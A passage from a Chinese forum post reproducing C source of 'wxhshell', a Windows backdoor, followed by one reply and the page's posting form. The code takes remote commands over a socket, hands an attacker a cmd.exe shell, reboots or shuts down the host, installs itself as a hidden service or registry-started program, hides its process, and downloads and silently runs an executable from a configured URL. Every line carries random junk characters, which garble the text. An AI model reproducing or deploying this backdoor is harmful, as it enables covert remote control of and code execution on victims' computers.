  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `o*g2fW!  
  if(DownloadFile(cmd,wsh)) |wj/lX7y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); egi?Qg  
  else G8?<(.pi@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W.,J'  
  } Z_Ma|V?6  
  else { ;7<a0HZ5!  
j|(bDa4\  
    switch(cmd[0]) { i]LK,'  
  \9k{"4jX\  
  // 帮助 Xl*-A|:j  
  case '?': { ig/716r|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); LGCL*Qbsg  
    break; Sb[rSczS~  
  } @;,O V&XYn  
  // 安装 jIc;jjAF  
  case 'i': { zFuUv_t  
    if(Install()) ~K],hi^<P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9e :E% 2  
    else (*fsv g~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nmsb  
    break; p N]Hp"v  
    } )x|BY>  
  // 卸载 |:r/K  
  case 'r': { v981nJ>w,  
    if(Uninstall()) 7RD` *s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PvT8XSlTx!  
    else D&9j$#9Rh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *Ucyxpu~$  
    break; $'FPst8Q<  
    } :g9z^ $g  
  // 显示 wxhshell 所在路径 JkxS1  
  case 'p': { FvI`S>  
    char svExeFile[MAX_PATH]; r rwsj`  
    strcpy(svExeFile,"\n\r"); TcfBfscU  
      strcat(svExeFile,ExeFile); Jp-ae0 Ewa  
        send(wsh,svExeFile,strlen(svExeFile),0); X)f"`$  
    break; |f?C*t',  
    } *u{.K:.I  
  // 重启 g&E_|}u4  
  case 'b': { M9OFK\)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T*T.\b  
    if(Boot(REBOOT)) Z%OSW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )#ujF~w>  
    else { |b3/63Ri-0  
    closesocket(wsh); MM8)yCI  
    ExitThread(0); };!c]/,  
    } B=c^ma  
    break; .RWBn~b#I  
    } tl^[MLQa  
  // 关机 ;W*$<~_  
  case 'd': { E0DEFB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eXaDx%mM  
    if(Boot(SHUTDOWN)) Rt:PW}rFf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GKd>AP_  
    else { 6~/H#8Kdn  
    closesocket(wsh); KnFbRhu[  
    ExitThread(0); #EM'=Q%TO  
    } #129 i2  
    break; v/haUPWF\  
    } y14@9<~9  
  // 获取shell pq&c]8H  
  case 's': { _INUJc  
    CmdShell(wsh); t2SZ]|C  
    closesocket(wsh); aBC[(}Pb]  
    ExitThread(0); YaT07X.(b  
    break; ha),N<'  
  } >PJ-Z~O'   
  // 退出 5k(#kyP  
  case 'x': { fIcv}Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E0pQRGPA  
    CloseIt(wsh); 5y'Yosy:  
    break; l&A`  
    } :gVjBF2  
  // 离开 (os7Q?  
  case 'q': { ]\ezES  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3U`.:w`  
    closesocket(wsh); `3:%F>  
    WSACleanup(); k1H0hDE  
    exit(1); Vi|jkyC8  
    break; m#eD v*  
        } yEny2q}  
  } -&A[{m<,>  
  } ~Iu09t|a  
D/Wuan?yPN  
  // 提示信息 z,7^dlT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o%5bg(  
} >dl!Ep  
  } Vwqfn4sx?i  
i=a LC*@  
  return; @6!JW(,]\  
} `+o.w#cl  
=KZ4:d5  
// shell模块句柄 Vel;t<1  
int CmdShell(SOCKET sock) u@E M,o  
{ {EUH#':  
STARTUPINFO si; IXN4?=)I  
ZeroMemory(&si,sizeof(si)); M5V1j(URE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g3XAs@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A!kyga6F5  
PROCESS_INFORMATION ProcessInfo; D+3Y.r 9  
char cmdline[]="cmd"; aVYUk7_<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,H?p9L; qp  
  return 0; jb2:O,+!  
} {\&"I|dpe  
#c>MUC(?s:  
// 自身启动模式 h<.[U $,  
int StartFromService(void) bSghf"aN  
{ ,lJ6"J\8.  
typedef struct 20qVzXi  
{ Q ?t  
  DWORD ExitStatus; PpRO7(<cD  
  DWORD PebBaseAddress; ;" *`  
  DWORD AffinityMask; j#f&!&G5<&  
  DWORD BasePriority; "/?qT;<$)  
  ULONG UniqueProcessId; 0d ->$gb  
  ULONG InheritedFromUniqueProcessId; sriz b  
}   PROCESS_BASIC_INFORMATION; JY+[  
srLr~^$j[  
PROCNTQSIP NtQueryInformationProcess; &^_(xgJL  
A%1=6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; MGz F+ln^U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V2,WP  
n y)P  
  HANDLE             hProcess; YMTA`T(+  
  PROCESS_BASIC_INFORMATION pbi; ^^SfIK?p  
7nz+n#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); syf"{bBe  
  if(NULL == hInst ) return 0; 61/zrMPn  
g4~qc I=a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ekme62Q>u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I uj=d~|>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jSYg\ Z5!  
Ib8i#DV  
  if (!NtQueryInformationProcess) return 0; R TUNha^<T  
\q|PHl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qo- F9u1J  
  if(!hProcess) return 0; f](uc(8Z  
:5{@*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }>~>5jc/Pg  
&2=KQ\HO  
  CloseHandle(hProcess); d %W}w.  
E$Pjp oQTf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J*!:ar  
if(hProcess==NULL) return 0; ;-GzGDc~0  
pHB35=p28  
HMODULE hMod; d J:x1j  
char procName[255]; o}+Uy  
unsigned long cbNeeded; 78CJ  
|u r~s$8y-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YB~t|m65  
j(C UYm  
  CloseHandle(hProcess); KR(} A"  
!muYn-4M  
if(strstr(procName,"services")) return 1; // 以服务启动 >Ryss@o  
v-fi9$#^  
  return 0; // 注册表启动 o`mIi  
} hO.G'q$V  
qd~98FS  
// 主模块 YG~ o  
int StartWxhshell(LPSTR lpCmdLine) UX`DZb +^  
{ #6s C&w3  
  SOCKET wsl; (Q8 ?)  
BOOL val=TRUE; |p -R9A*>h  
  int port=0; OsL%SKs|  
  struct sockaddr_in door; Vnj/>e3  
*X l<aNNx  
  if(wscfg.ws_autoins) Install(); }FiN 7#  
,i?!3oLT  
port=atoi(lpCmdLine); hdtnC29$  
\41)0,sEy  
if(port<=0) port=wscfg.ws_port; 1DLG]-j}  
K6{bYho  
  WSADATA data; 4ylDD|) rO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  AY'?Xt  
G7A bhb,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N@*wi"Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PT#eXS9_  
  door.sin_family = AF_INET; $l,Zd6<1q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); CQzjCRS d  
  door.sin_port = htons(port); Wt9iL  
L\m!8o4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <cv2-?L{  
closesocket(wsl); M2E87w  
return 1; vk)0n=  
} 0 \Yx.\X,  
4^[}]'w  
  if(listen(wsl,2) == INVALID_SOCKET) { aaz"`,7_  
closesocket(wsl); A!W" *WT  
return 1; \q|7,S,5  
} (#B^Hyz!  
  Wxhshell(wsl); 6{+_T  
  WSACleanup(); P% +or*  
Wda\a.bXT  
return 0; P"9@8aLB  
vDW&pF_eI>  
} 3Wb2p'V7$?  
+*_fN ]M  
// 以NT服务方式启动 )'!ml  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kV\-%:-  
{ Ue3B+k9w  
DWORD   status = 0; ?S@R~y0K  
  DWORD   specificError = 0xfffffff; }-{b$6]  
`[@^m5?b-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2rO)qjiH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M*O(+EM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &cu] vw  
  serviceStatus.dwWin32ExitCode     = 0; *hZ~i{c,7  
  serviceStatus.dwServiceSpecificExitCode = 0; ;Lsjh#  
  serviceStatus.dwCheckPoint       = 0; GL 5^_`n  
  serviceStatus.dwWaitHint       = 0; &7($kj  
r2SJp@f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uGa(_ut  
  if (hServiceStatusHandle==0) return; 'l' X^LMD  
0n*rs=\VG  
status = GetLastError(); ~)wwX:;B_  
  if (status!=NO_ERROR) s`#ntset0  
{ 4\1wyN /}M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b ~/Wnp5  
    serviceStatus.dwCheckPoint       = 0; D(qHf9  
    serviceStatus.dwWaitHint       = 0; P(pd0,%i;a  
    serviceStatus.dwWin32ExitCode     = status; CO:*x,6au  
    serviceStatus.dwServiceSpecificExitCode = specificError; gHvW e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #juGD9e  
    return; 7sud/*+F  
  } rkfQr9Vc  
9 V=<| 2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8> Du  
  serviceStatus.dwCheckPoint       = 0; d<^_w!4X}  
  serviceStatus.dwWaitHint       = 0; [_ M6/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -_2Dy1  
} dd \bI_  
.'5'0lR5  
// 处理NT服务事件,比如:启动、停止 8Wdkztp/S  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ii~; d3.  
{ 0{0;1.ZP  
switch(fdwControl) }c` ?0FQ  
{ (B>)2:T1  
case SERVICE_CONTROL_STOP: TRgY:R_  
  serviceStatus.dwWin32ExitCode = 0; M8^.19q;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b&=]S(  
  serviceStatus.dwCheckPoint   = 0; e86Aqehle  
  serviceStatus.dwWaitHint     = 0; 'bB>$E  
  { Mx/h?}u;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $yDW.pt  
  } |.b%rVu  
  return; tLS<0  
case SERVICE_CONTROL_PAUSE: E\R raPkQT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z!wD~C"D73  
  break; d[Rb:Y w  
case SERVICE_CONTROL_CONTINUE: |h^K M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2f3=?YqD  
  break; b A)b`1lI  
case SERVICE_CONTROL_INTERROGATE: +"YTCzv;t  
  break; 8?e   
}; |`w$|pm=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 09R,'QJ|  
} =cdh'"XN  
%<aImR]  
// 标准应用程序主函数 x1N me%%&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v[R_S  
{ $Hp.{jw  
j';n8|Y9  
// 获取操作系统版本 \ |4 Ca't  
OsIsNt=GetOsVer(); '1CD- Bu  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L"[IOV9S  
oy2(Ag\  
  // 从命令行安装 T(Y}V[0+  
  if(strpbrk(lpCmdLine,"iI")) Install(); [urH a  
RRx`}E9,  
  // 下载执行文件 #mgA/q?A  
if(wscfg.ws_downexe) { [zY!'cz?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QjQ4Z'.r>  
  WinExec(wscfg.ws_filenam,SW_HIDE); YO)')&  
} %S{o5txo  
nHSTeF I?  
if(!OsIsNt) { uDILjOT  
// 如果时win9x,隐藏进程并且设置为注册表启动 T|;^.TZ  
HideProc(); McEmd.S<n  
StartWxhshell(lpCmdLine); }l.KpdRT2  
} LkaG8#m1R  
else M$,Jg5Dc  
  if(StartFromService()) davvI$TA  
  // 以服务方式启动 -&trk  
  StartServiceCtrlDispatcher(DispatchTable); azvDvEWCQZ  
else |xq} '.C  
  // 普通方式启动 M|U';2hZN:  
  StartWxhshell(lpCmdLine); %v]7BV^%6  
ER{yuw  
return 0; BwJNi6,  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八